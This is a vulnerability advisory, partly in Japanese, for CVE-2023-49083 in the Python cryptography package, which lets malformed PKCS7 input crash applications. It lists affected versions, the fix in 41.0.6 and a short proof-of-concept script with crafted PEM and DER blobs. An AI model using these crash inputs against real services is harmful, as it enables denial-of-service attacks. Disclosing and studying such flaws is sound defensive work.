cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

高 7.5CVE-2023-49083 · GHSA-jfhm-5ghh-2f97 · PYSEC-2023-254 · 29/11/2023 公開 · 17/06/2026 更新

パッケージ	影響を受けるバージョン	修正済みバージョン
cryptography PyPI	`≥ 3.1, < 41.0.6`	`41.0.6`
cryptography cryptography.io	`≥ 3.1, < 41.0.6`	`41.0.6`

概要

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

NVD の説明

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.

参考情報

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パッケージ

影響を受けるバージョン

修正済みバージョン

cryptography

PyPI

≥ 3.1, < 41.0.6

41.0.6